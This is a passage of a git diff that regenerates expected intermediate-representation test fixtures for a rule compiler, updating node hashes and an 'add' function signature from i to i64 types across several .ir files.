2, ty: integer, index: 3 } @@ -12,23 +12,23 @@ RULE test item: Var { frame_id: 2, ty: unknown, index: 5 } 3: CONST integer(0) 4: CONST integer(1) - 21: AND -- hash: 0x82951fe9ebf8c896 - 7: EQ -- hash: 0x1e7413311b1944fa + 21: AND -- hash: 0x25fd17a65ba0d862 + 7: EQ -- hash: 0xcedf9e9edbec8905 5: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } 6: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 0 }, type_value: integer(unknown) } - 13: EQ -- hash: 0x55a86ac488e1462e - 11: FN_CALL test_proto2.add@a:i,b:i@i -- hash: 0x5c8149efefc0401a + 13: EQ -- hash: 0xc828bf174ea9202f + 11: FN_CALL test_proto2.add@a:i64,b:i64@i64 -- hash: 0x77f3dec05614b554 9: CONST integer(1) 10: CONST integer(2) 12: CONST integer(3) - 20: EQ -- hash: 0x84cf5cf12dbe27a0 - 18: ADD -- hash: 0xf519dc2b10fbedfc - 16: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 20: EQ -- hash: 0x4c451fbd29196c02 + 18: ADD -- hash: 0x782dfce8cca40876 + 16: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 14: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 15: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 17: CONST integer(1) 19: CONST float(1.0) - 39: FOR_IN -- hash: 0xce4208fea0a2e539 + 39: FOR_IN -- hash: 0xa319cadc6835fd17 n: Var { frame_id: 3, ty: integer, index: 1 } i: Var { frame_id: 3, ty: integer, index: 2 } max_count: Var { frame_id: 3, ty: integer, index: 3 } @@ -36,20 +36,20 @@ RULE test item: Var { frame_id: 3, ty: unknown, index: 5 } 23: CONST integer(0) 24: CONST integer(1) - 38: OR -- hash: 0x634779ad4e349e70 - 30: NE -- hash: 0x5d2d23e537a8a59 - 28: FN_CALL test_proto2.add@a:i,b:i@i -- hash: 0x5c8149efefc0401a + 38: OR -- hash: 0xf6c10f82ff722b9a + 30: NE -- hash: 0x785326911542645a + 28: FN_CALL test_proto2.add@a:i64,b:i64@i64 -- hash: 0x77f3dec05614b554 26: CONST integer(1) 27: CONST integer(2) 29: CONST integer(0) - 37: EQ -- hash: 0x84cf5cf12dbe27a0 - 35: ADD -- hash: 0xf519dc2b10fbedfc - 33: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 37: EQ -- hash: 0x4c451fbd29196c02 + 35: ADD -- hash: 0x782dfce8cca40876 + 33: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 31: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 32: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 34: CONST integer(1) 36: CONST float(1.0) - 50: FOR_IN -- hash: 0x313e311089e8c59 + 50: FOR_IN -- hash: 0x5a37d8cb1ea79f81 n: Var { frame_id: 4, ty: integer, index: 1 } i: Var { frame_id: 4, ty: integer, index: 2 } max_count: Var { frame_id: 4, ty: integer, index: 3 } @@ -57,10 +57,10 @@ RULE test item: Var { frame_id: 4, ty: unknown, index: 5 } 40: CONST integer(0) 41: CONST integer(1) - 49: NOT -- hash: 0xb2812a5ab7cd6b73 - 48: EQ -- hash: 0x84cf5cf12c2f67a0 - 46: ADD -- hash: 0xf519dc2b10fbedfc - 44: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 49: NOT -- hash: 0x79f6ed26b328afd5 + 48: EQ -- hash: 0x4c451fbd2b8aac02 + 46: ADD -- hash: 0x782dfce8cca40876 + 44: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 42: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 43: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 45: CONST integer(1) diff --git a/lib/src/compiler/ir/tests/testdata/4.hoisting.ir b/lib/src/compiler/ir/tests/testdata/4.hoisting.ir index 889d71f12..a94fddade 100644 --- a/lib/src/compiler/ir/tests/testdata/4.hoisting.ir +++ b/lib/src/compiler/ir/tests/testdata/4.hoisting.ir @@ -1,30 +1,30 @@ RULE test - 52: WITH -- hash: 0x1acaee9d74592e85 - 2: FIELD_ACCESS -- hash: 0x9536d86a9309eb4b + 52: WITH -- hash: 0xb846a270dbd54507 + 2: FIELD_ACCESS -- hash: 0xb97fd53970056ca6 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 12, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 51: AND -- hash: 0xbfa2a96d5ec5eb5a - 54: WITH -- hash: 0x5d2d568b16aad491 - 53: FN_CALL test_proto2.add@a:i,b:i@i -- hash: 0x5c8149efefc0401a + 51: AND -- hash: 0xedcb2c1ac116da35 + 54: WITH -- hash: 0x6b5d1f739d7c80ef + 53: FN_CALL test_proto2.add@a:i64,b:i64@i64 -- hash: 0x77f3dec05614b554 9: CONST integer(1) 10: CONST integer(2) - 56: WITH -- hash: 0x6f43aacfc1ebf6d3 - 55: EQ -- hash: 0xf431fa9fe9c5a5cd + 56: WITH -- hash: 0x9c9172e3435294b7 + 55: EQ -- hash: 0x490510516749192b 11: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 1 }, type_value: integer(unknown) } 12: CONST integer(3) - 58: WITH -- hash: 0x4587a6dd1220bf55 - 57: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 58: WITH -- hash: 0x1ca461e20662d7b6 + 57: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 14: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 15: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } - 60: WITH -- hash: 0x93f86553a3dd1bcc - 59: ADD -- hash: 0x6342ae32c04f0d80 + 60: WITH -- hash: 0x655d812943d476c + 59: ADD -- hash: 0xb815c3e43dd280dd 16: SYMBOL Var { var: Var { frame_id: 0, ty: float, index: 3 }, type_value: float(unknown) } 17: CONST integer(1) - 62: WITH -- hash: 0x845b7b0b5b4bd2b3 - 61: EQ -- hash: 0x2bd96fed58467857 + 62: WITH -- hash: 0x4edb59d672dd7b1e + 61: EQ -- hash: 0x49eec191f9b1f799 18: SYMBOL Var { var: Var { frame_id: 0, ty: float, index: 4 }, type_value: float(unknown) } 19: CONST float(1.0) - 22: FOR_IN -- hash: 0x88b54dd178f52a83 + 22: FOR_IN -- hash: 0x6d970835098ffa6 n: Var { frame_id: 2, ty: integer, index: 6 } i: Var { frame_id: 2, ty: integer, index: 7 } max_count: Var { frame_id: 2, ty: integer, index: 8 } @@ -32,37 +32,37 @@ RULE test item: Var { frame_id: 2, ty: unknown, index: 10 } 3: CONST integer(0) 4: CONST integer(1) - 21: AND -- hash: 0x3c7a64c544cdef7b - 7: EQ -- hash: 0x46f8f3efcc8b4028 + 21: AND -- hash: 0x277ba092c55203d4 + 7: EQ -- hash: 0xf7647f5d8d5e8433 5: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 11 }, type_value: integer(unknown) } 6: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 0 }, type_value: integer(unknown) } 13: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 2 }, type_value: boolean(unknown) } 20: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 5 }, type_value: boolean(unknown) } - 64: WITH -- hash: 0x8cd2ba2f740ac463 - 63: FN_CALL test_proto2.add@a:i,b:i@i -- hash: 0x5c8149efefc0401a + 64: WITH -- hash: 0x3d8821aa5e2a49d9 + 63: FN_CALL test_proto2.add@a:i64,b:i64@i64 -- hash: 0x77f3dec05614b554 26: CONST integer(1) 27: CONST integer(2) - 66: WITH -- hash: 0x4e06ca45f1f850c0 - 65: NE -- hash: 0x83e7b2d49128c834 + 66: WITH -- hash: 0xad586e84f0c06a22 + 65: NE -- hash: 0xd8bac8860eac3b91 28: SYMBOL Var { var: Var { frame_id: 0, ty: integer, index: 1 }, type_value: integer(unknown) } 29: CONST integer(0) - 68: WITH -- hash: 0x12d76de8d989d928 - 67: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 68: WITH -- hash: 0xc4a60e1afe98ed66 + 67: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 31: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 32: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } - 70: WITH -- hash: 0x8b79fc2b2a9a664c - 69: ADD -- hash: 0x6342ae32c04f0d80 + 70: WITH -- hash: 0xf70d78ef4d4ff580 + 69: ADD -- hash: 0xb815c3e43dd280dd 33: SYMBOL Var { var: Var { frame_id: 0, ty: float, index: 3 }, type_value: float(unknown) } 34: CONST integer(1) - 72: WITH -- hash: 0x1a531251020d8904 - 71: EQ -- hash: 0x2bd96fed58467857 + 72: WITH -- hash: 0xc18b2e4a391a3af9 + 71: EQ -- hash: 0x49eec191f9b1f799 35: SYMBOL Var { var: Var { frame_id: 0, ty: float, index: 4 }, type_value: float(unknown) } 36: CONST float(1.0) - 74: WITH -- hash: 0x84af01aaa1557339 - 73: OR -- hash: 0x46818cd03df97142 + 74: WITH -- hash: 0xe1f96eb79abbac7c + 73: OR -- hash: 0xf6ed183dfeccb54d 30: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 2 }, type_value: boolean(unknown) } 37: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 5 }, type_value: boolean(unknown) } - 39: FOR_IN -- hash: 0xc0a2f3d63c79049b + 39: FOR_IN -- hash: 0x6951498357f92390 n: Var { frame_id: 3, ty: integer, index: 7 } i: Var { frame_id: 3, ty: integer, index: 8 } max_count: Var { frame_id: 3, ty: integer, index: 9 } @@ -71,22 +71,22 @@ RULE test 23: CONST integer(0) 24: CONST integer(1) 38: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 6 }, type_value: boolean(unknown) } - 76: WITH -- hash: 0x10fe4080a968c37f - 75: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 76: WITH -- hash: 0xa932924efcdceabd + 75: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 42: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 43: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } - 78: WITH -- hash: 0xf30ed907b91851c2 - 77: ADD -- hash: 0x8aec7bab1a7d84d0 + 78: WITH -- hash: 0xa87631e00c3854b7 + 77: ADD -- hash: 0xdfbf915c9400f82d 44: SYMBOL Var { var: Var { frame_id: 0, ty: float, index: 1 }, type_value: float(unknown) } 45: CONST integer(1) - 80: WITH -- hash: 0xf12466569870a5fe - 79: EQ -- hash: 0x53833d65b0e62fa7 + 80: WITH -- hash: 0x52df899332a40c59 + 79: EQ -- hash: 0x71988f0a5251aee9 46: SYMBOL Var { var: Var { frame_id: 0, ty: float, index: 2 }, type_value: float(unknown) } 47: CONST float(2.0) - 82: WITH -- hash: 0xc1f03b5e40c18ebc - 81: NOT -- hash: 0x957b6071a54f01e3 + 82: WITH -- hash: 0xb538f8079840de0e + 81: NOT -- hash: 0xf6d42a90449524a2 48: SYMBOL Var { var: Var { frame_id: 0, ty: boolean, index: 3 }, type_value: boolean(unknown) } - 50: FOR_IN -- hash: 0x6f2fde8814ef58c4 + 50: FOR_IN -- hash: 0x17de34352c6f77b9 n: Var { frame_id: 4, ty: integer, index: 5 } i: Var { frame_id: 4, ty: integer, index: 6 } max_count: Var { frame_id: 4, ty: integer, index: 7 } diff --git a/lib/src/compiler/ir/tests/testdata/4.ir b/lib/src/compiler/ir/tests/testdata/4.ir index d15b08c5c..be398b4f8 100644 --- a/lib/src/compiler/ir/tests/testdata/4.ir +++ b/lib/src/compiler/ir/tests/testdata/4.ir @@ -1,10 +1,10 @@ RULE test - 52: WITH -- hash: 0x6d7701fe081d983f - 2: FIELD_ACCESS -- hash: 0x9536d86a9309eb4b + 52: WITH -- hash: 0x302eadecacc3bc8d + 2: FIELD_ACCESS -- hash: 0xb97fd53970056ca6 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 12, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 51: AND -- hash: 0x9bd969653383cc22 - 22: FOR_IN -- hash: 0x2c6eaee06da3665a + 51: AND -- hash: 0x1e8700fdd5777936 + 22: FOR_IN -- hash: 0xf8a1d207947c2cf4 n: Var { frame_id: 2, ty: integer, index: 1 } i: Var { frame_id: 2, ty: integer, index: 2 } max_count: Var { frame_id: 2, ty: integer, index: 3 } @@ -12,23 +12,23 @@ RULE test item: Var { frame_id: 2, ty: unknown, index: 5 } 3: CONST integer(0) 4: CONST integer(1) - 21: AND -- hash: 0x82951fe9ebf8c896 - 7: EQ -- hash: 0x1e7413311b1944fa + 21: AND -- hash: 0x25fd17a65ba0d862 + 7: EQ -- hash: 0xcedf9e9edbec8905 5: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } 6: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 0 }, type_value: integer(unknown) } - 13: EQ -- hash: 0x55a86ac488e1462e - 11: FN_CALL test_proto2.add@a:i,b:i@i -- hash: 0x5c8149efefc0401a + 13: EQ -- hash: 0xc828bf174ea9202f + 11: FN_CALL test_proto2.add@a:i64,b:i64@i64 -- hash: 0x77f3dec05614b554 9: CONST integer(1) 10: CONST integer(2) 12: CONST integer(3) - 20: EQ -- hash: 0x84cf5cf12dbe27a0 - 18: ADD -- hash: 0xf519dc2b10fbedfc - 16: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 20: EQ -- hash: 0x4c451fbd29196c02 + 18: ADD -- hash: 0x782dfce8cca40876 + 16: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 14: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 15: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 17: CONST integer(1) 19: CONST float(1.0) - 39: FOR_IN -- hash: 0xce4208fea0a2e539 + 39: FOR_IN -- hash: 0xa319cadc6835fd17 n: Var { frame_id: 3, ty: integer, index: 1 } i: Var { frame_id: 3, ty: integer, index: 2 } max_count: Var { frame_id: 3, ty: integer, index: 3 } @@ -36,20 +36,20 @@ RULE test item: Var { frame_id: 3, ty: unknown, index: 5 } 23: CONST integer(0) 24: CONST integer(1) - 38: OR -- hash: 0x634779ad4e349e70 - 30: NE -- hash: 0x5d2d23e537a8a59 - 28: FN_CALL test_proto2.add@a:i,b:i@i -- hash: 0x5c8149efefc0401a + 38: OR -- hash: 0xf6c10f82ff722b9a + 30: NE -- hash: 0x785326911542645a + 28: FN_CALL test_proto2.add@a:i64,b:i64@i64 -- hash: 0x77f3dec05614b554 26: CONST integer(1) 27: CONST integer(2) 29: CONST integer(0) - 37: EQ -- hash: 0x84cf5cf12dbe27a0 - 35: ADD -- hash: 0xf519dc2b10fbedfc - 33: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 37: EQ -- hash: 0x4c451fbd29196c02 + 35: ADD -- hash: 0x782dfce8cca40876 + 33: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 31: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 32: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 34: CONST integer(1) 36: CONST float(1.0) - 50: FOR_IN -- hash: 0x313e311089e8c59 + 50: FOR_IN -- hash: 0x5a37d8cb1ea79f81 n: Var { frame_id: 4, ty: integer, index: 1 } i: Var { frame_id: 4, ty: integer, index: 2 } max_count: Var { frame_id: 4, ty: integer, index: 3 } @@ -57,10 +57,10 @@ RULE test item: Var { frame_id: 4, ty: unknown, index: 5 } 40: CONST integer(0) 41: CONST integer(1) - 49: NOT -- hash: 0xb2812a5ab7cd6b73 - 48: EQ -- hash: 0x84cf5cf12c2f67a0 - 46: ADD -- hash: 0xf519dc2b10fbedfc - 44: FIELD_ACCESS -- hash: 0x2b7b8addca68ad72 + 49: NOT -- hash: 0x79f6ed26b328afd5 + 48: EQ -- hash: 0x4c451fbd2b8aac02 + 46: ADD -- hash: 0x782dfce8cca40876 + 44: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 42: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 43: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 45: CONST integer(1) diff --git a/lib/src/compiler/ir/tests/testdata/4.no-folding.ir b/lib/src/compiler/ir/tests/testdata/4.no-folding.ir index a25327f20..be398b4f8 100644 --- a/lib/src/compiler/ir/tests/testdata/4.no-folding.ir +++ b/lib/src/compiler/ir/tests/testdata/4.no-folding.ir @@ -1,10 +1,10 @@ RULE test - 52: WITH -- hash: 0x3d25b3d4794433e2 - 2: FIELD_ACCESS -- hash: 0x30adb8d0b7ea7b20 + 52: WITH -- hash: 0x302eadecacc3bc8d + 2: FIELD_ACCESS -- hash: 0xb97fd53970056ca6 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 12, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 51: AND -- hash: 0xb3895dc66180b6ac - 22: FOR_IN -- hash: 0xb5766871f0d8434f + 51: AND -- hash: 0x1e8700fdd5777936 + 22: FOR_IN -- hash: 0xf8a1d207947c2cf4 n: Var { frame_id: 2, ty: integer, index: 1 } i: Var { frame_id: 2, ty: integer, index: 2 } max_count: Var { frame_id: 2, ty: integer, index: 3 } @@ -12,23 +12,23 @@ RULE test item: Var { frame_id: 2, ty: unknown, index: 5 } 3: CONST integer(0) 4: CONST integer(1) - 21: AND -- hash: 0x46f1e0ca50258bf4 - 7: EQ -- hash: 0xa866a1c3637edc78 + 21: AND -- hash: 0x25fd17a65ba0d862 + 7: EQ -- hash: 0xcedf9e9edbec8905 5: SYMBOL Var { var: Var { frame_id: 2, ty: integer, index: 6 }, type_value: integer(unknown) } 6: SYMBOL Var { var: Var { frame_id: 1, ty: integer, index: 0 }, type_value: integer(unknown) } - 13: EQ -- hash: 0x452e9b6d563a2e0e - 11: FN_CALL test_proto2.add@a:i,b:i@i -- hash: 0x261e822f79c74aad + 13: EQ -- hash: 0xc828bf174ea9202f + 11: FN_CALL test_proto2.add@a:i64,b:i64@i64 -- hash: 0x77f3dec05614b554 9: CONST integer(1) 10: CONST integer(2) 12: CONST integer(3) - 20: EQ -- hash: 0xb9f99fc2d3abf379 - 18: ADD -- hash: 0x2b8f1094f609e931 - 16: FIELD_ACCESS -- hash: 0xc6f26b43ef493d46 + 20: EQ -- hash: 0x4c451fbd29196c02 + 18: ADD -- hash: 0x782dfce8cca40876 + 16: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 14: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 15: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 17: CONST integer(1) 19: CONST float(1.0) - 39: FOR_IN -- hash: 0x780dcdbeadf30f98 + 39: FOR_IN -- hash: 0xa319cadc6835fd17 n: Var { frame_id: 3, ty: integer, index: 1 } i: Var { frame_id: 3, ty: integer, index: 2 } max_count: Var { frame_id: 3, ty: integer, index: 3 } @@ -36,20 +36,20 @@ RULE test item: Var { frame_id: 3, ty: unknown, index: 5 } 23: CONST integer(0) 24: CONST integer(1) - 38: OR -- hash: 0x49a206ca8caeb222 - 30: NE -- hash: 0xf55902e71cd37238 - 28: FN_CALL test_proto2.add@a:i,b:i@i -- hash: 0x261e822f79c74aad + 38: OR -- hash: 0xf6c10f82ff722b9a + 30: NE -- hash: 0x785326911542645a + 28: FN_CALL test_proto2.add@a:i64,b:i64@i64 -- hash: 0x77f3dec05614b554 26: CONST integer(1) 27: CONST integer(2) 29: CONST integer(0) - 37: EQ -- hash: 0xb9f99fc2d3abf379 - 35: ADD -- hash: 0x2b8f1094f609e931 - 33: FIELD_ACCESS -- hash: 0xc6f26b43ef493d46 + 37: EQ -- hash: 0x4c451fbd29196c02 + 35: ADD -- hash: 0x782dfce8cca40876 + 33: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 31: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 32: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 34: CONST integer(1) 36: CONST float(1.0) - 50: FOR_IN -- hash: 0xfe0707a87971b452 + 50: FOR_IN -- hash: 0x5a37d8cb1ea79f81 n: Var { frame_id: 4, ty: integer, index: 1 } i: Var { frame_id: 4, ty: integer, index: 2 } max_count: Var { frame_id: 4, ty: integer, index: 3 } @@ -57,10 +57,10 @@ RULE test item: Var { frame_id: 4, ty: unknown, index: 5 } 40: CONST integer(0) 41: CONST integer(1) - 49: NOT -- hash: 0xe7ab6d2c59bb374c - 48: EQ -- hash: 0xb9f99fc2d21d3379 - 46: ADD -- hash: 0x2b8f1094f609e931 - 44: FIELD_ACCESS -- hash: 0xc6f26b43ef493d46 + 49: NOT -- hash: 0x79f6ed26b328afd5 + 48: EQ -- hash: 0x4c451fbd2b8aac02 + 46: ADD -- hash: 0x782dfce8cca40876 + 44: FIELD_ACCESS -- hash: 0x4fc487acab642ecd 42: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 43: SYMBOL Field { index: 10, is_root: false, type_value: float(unknown), acl: None, deprecation_notice: None } 45: CONST integer(1) diff --git a/lib/src/compiler/ir/tests/testdata/5.cse.ir b/lib/src/compiler/ir/tests/testdata/5.cse.ir index a49e65c5b..1b818cb35 100644 --- a/lib/src/compiler/ir/tests/testdata/5.cse.ir +++ b/lib/src/compiler/ir/tests/testdata/5.cse.ir @@ -1,35 +1,35 @@ RULE test_1 - 35: AND -- hash: 0xfb4afd329fb07dc3 - 8: EQ -- hash: 0x496c97e53b61f654 - 6: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 4: LOOKUP -- hash: 0xb7e6fdca077aa568 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 35: AND -- hash: 0x40f2250d30f5e05d + 8: EQ -- hash: 0x2bb3653332178578 + 6: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 4: LOOKUP -- hash: 0x22797314e0747ac6 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 3: CONST integer(0) 5: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 7: CONST integer(0) - 17: EQ -- hash: 0xdfb78d0d299b6d6d - 15: FIELD_ACCESS -- hash: 0xc0df94afb482a623 - 13: LOOKUP -- hash: 0x60a088711b3f7b54 - 11: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 17: EQ -- hash: 0xc1fe5a5b2050fc91 + 15: FIELD_ACCESS -- hash: 0x1884b32490b569cf + 13: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 11: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 9: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 10: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 12: CONST integer(1) 14: SYMBOL Field { index: 2, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 16: CONST integer(1) - 34: EQ -- hash: 0xf94a49164359b744 - 32: ADD -- hash: 0x637f01b98f7ef769 - 24: FIELD_ACCESS -- hash: 0x57244722efe1684a - 22: LOOKUP -- hash: 0x60a088711b3f7b54 - 20: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 34: EQ -- hash: 0xd31d4f8ee6270262 + 32: ADD -- hash: 0x561b499dd52a0b48 + 24: FIELD_ACCESS -- hash: 0xaec96597c8142bf5 + 22: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 20: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 18: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 19: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 21: CONST integer(1) 23: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 31: FIELD_ACCESS -- hash: 0x75bd3b7618d34510 - 29: LOOKUP -- hash: 0x60a088711b3f7b54 - 27: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 31: FIELD_ACCESS -- hash: 0xcd6259eaf50608bb + 29: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 27: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 25: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 26: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 28: CONST integer(1) @@ -37,37 +37,37 @@ RULE test_1 33: CONST integer(1) RULE test_2 - 35: AND -- hash: 0x467259e49dca9732 - 16: EQ -- hash: 0xf94a49164359b744 - 14: ADD -- hash: 0x637f01b98f7ef769 - 6: FIELD_ACCESS -- hash: 0x57244722efe1684a - 4: LOOKUP -- hash: 0x60a088711b3f7b54 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 35: AND -- hash: 0xe129ce51337b0ad4 + 16: EQ -- hash: 0xd31d4f8ee6270262 + 14: ADD -- hash: 0x561b499dd52a0b48 + 6: FIELD_ACCESS -- hash: 0xaec96597c8142bf5 + 4: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 3: CONST integer(1) 5: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } - 13: FIELD_ACCESS -- hash: 0x75bd3b7618d34510 - 11: LOOKUP -- hash: 0x60a088711b3f7b54 - 9: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 13: FIELD_ACCESS -- hash: 0xcd6259eaf50608bb + 11: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 9: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 7: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 8: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 10: CONST integer(1) 12: SYMBOL Field { index: 3, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 15: CONST integer(1) - 25: EQ -- hash: 0x496c97e53b61f654 - 23: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 - 21: LOOKUP -- hash: 0xb7e6fdca077aa568 - 19: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 25: EQ -- hash: 0x2bb3653332178578 + 23: FIELD_ACCESS -- hash: 0xc29e4c53f72b679d + 21: LOOKUP -- hash: 0x22797314e0747ac6 + 19: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 17: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 18: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 20: CONST integer(0) 22: SYMBOL Field { index: 0, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: None } 24: CONST integer(0) - 34: EQ -- hash: 0xdfb78d0d299b6d6d - 32: FIELD_ACCESS -- hash: 0xc0df94afb482a623 - 30: LOOKUP -- hash: 0x60a088711b3f7b54 - 28: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 34: EQ -- hash: 0xc1fe5a5b2050fc91 + 32: FIELD_ACCESS -- hash: 0x1884b32490b569cf + 30: LOOKUP -- hash: 0xcb32fdbbf43950b1 + 28: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 26: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 27: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } 29: CONST integer(1) @@ -75,34 +75,34 @@ RULE test_2 33: CONST integer(1) RULE test_3 - 31: WITH -- hash: 0xd12c99d2b9385c31 - 2: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 31: WITH -- hash: 0x86dc57fa0e34b0d9 + 2: FIELD_ACCESS -- hash: 0xdd88efe5e7ac64dc 0: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } 1: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } - 30: AND -- hash: 0x12dc7234de2063ae - 15: EQ -- hash: 0xe2720d2e43d2dad5 - 13: ADD -- hash: 0x48118390d9d2fbc - 7: FIELD_ACCESS -- hash: 0xabb583028cf4d3ae - 5: LOOKUP -- hash: 0x15e3054cfa75da5a + 30: AND -- hash: 0x292d82663187bd47 + 15: EQ -- hash: 0xf77008e825e74593 + 13: ADD -- hash: 0x19a1c9d297731a8d + 7: FIELD_ACCESS -- hash: 0xe4e93b1b29e0f329 + 5: LOOKUP -- hash: 0xb9c8dc4d95866f03 3: SYMBOL Var { var: Var { frame_id: 